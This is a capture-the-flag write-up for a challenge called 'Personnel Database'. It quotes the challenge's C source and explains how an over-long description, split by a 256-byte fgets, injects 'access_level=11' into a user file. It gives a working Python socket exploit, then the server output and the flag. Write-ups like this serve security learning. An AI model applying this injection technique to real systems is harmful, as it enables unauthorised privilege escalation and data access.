Skip to content Skip to navigation

Personnel Database (Exploit - 150)

Category: 

Task:

Lots of criminals in this area work for one big boss, but we have been unable to determine who he is. We know that their organization has one central personnel database that might also contain information about their boss, whose username is simply “boss”. However, when you register in their system, you only get access level zero, which is not enough for reading data about the boss - that guy is level 10. Do you think you can get around their protections?

nc wildwildweb.fluxfingers.net 1410

Note: The users dir will be wiped every 5 minutes

And a .c file attached (attached to write-up below)

Solution:

It's very simple challenge, so i wouldn't explain how server works. You can figure it out by yourself if you take a closer look at provided source file. 

What should we do? We have to find out who is the boss. In this system each user has decription, so we have to read boss'es description. But we can only read description of users with level lesser then ours and we have level 0, and boss has level 10, so we have to promoted our user to level 11 or more and read boss till the end=) let's pwn:

Vulnarable parts:

struct userdata *read_userfile(char *user) {
  struct userdata *res = calloc(1, sizeof(*res));
  if (res == NULL) return NULL;
  int fd = open_userfile(user, O_RDONLY);
  if (fd == -1) return NULL;
  FILE *f = fdopen(fd, "r");
  if (f == NULL) { close(fd); return NULL; }
  char line[256];
  while (fgets(line, sizeof(line), f)) {
    rtrim(line);
    char *key = line;
    char *eqsign = strchr(line, '=');
    if (!eqsign) continue;
    *eqsign = '\0';
    char *value = eqsign+1;

    if (!strcmp(key, "hash")) res->hash = atoll(value);
    else if (!strcmp(key, "access_level")) res->access_level = atoi(value);
    else if (!strcmp(key, "description")) strcpy(res->description, value);
    else printf("fatal error: bad key \"%s\" in config, aborting\n", key), exit(1);
  }
  return res;
}

and:

struct userdata {
  uint32_t hash;
  unsigned int access_level;
  char description[512];
};

.....

  char username[21] = "";
  struct userdata *ud = NULL;
  bool logged_in = false;

  char line[512]; /* last incoming command */
  while (printf("> "), fgets(line, sizeof(line), stdin)) {
    rtrim(line);
    char *cmd = line;
    char *params = strchr(line, ' ');
    if (params) {
      *params = '\0';
      params++;
    }

.....

if (!strcmp(cmd, "set_description")) {
      if (!logged_in) { printf("you must be logged in for this\n"); continue; }
      if (!params) { printf("missing description\n"); continue; }
      strcpy(ud->description, params);
      printf("description set\n");
    }

When you perform 'logout' command, your userfile will be written on disk and on login it will be read again. You can notice, that description field has 512 bytes length, command that you can perfom has same 512-bytes length, but system reads userfile by 256-bytes in cycle. So we can overflow decription and in will be splitted in two fields in userfile, cos no checksum used we can rewrite access_level (description is read after access level), including "access_level=11" in description.

So just register, set description, logout, login and pwn boss! (it become even more easy, cos server will notify you if he meets wrong field in userfile, so he helps you to make injection in it).

Exploit:

import socket
from time import sleep

s = socket.socket()
s.connect(('wildwildweb.fluxfingers.net', 1410))

username = 'balalaika2'
password = 'skjdgfksgi'

print s.recv(1024)
s.send("register " + username + ':' + password + '\n')
sleep(0.5)

print s.recv(1024)
s.send("set_description aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaccess_level=11\n")
sleep(0.5)

print s.recv(1024)
s.send("logout\n")
sleep(0.5)

print s.recv(1024)
s.send("user "+ username+ "\n")
sleep(0.5)

print s.recv(1024)
s.send("pass " + password + "\n")
sleep(0.5)

print s.recv(1024)
s.send("whois boss\n")
sleep(0.5)

print s.recv(1024)

This script produces following output:

user created successfully

description set

Uh, who are you again? I have forgotten.

username accepted, please provide password

login ok

user	boss
level	10
descr	"flag{this_is_why_gets_is_better_than_fgets}"

And the flag is flag{this_is_why_gets_is_better_than_fgets}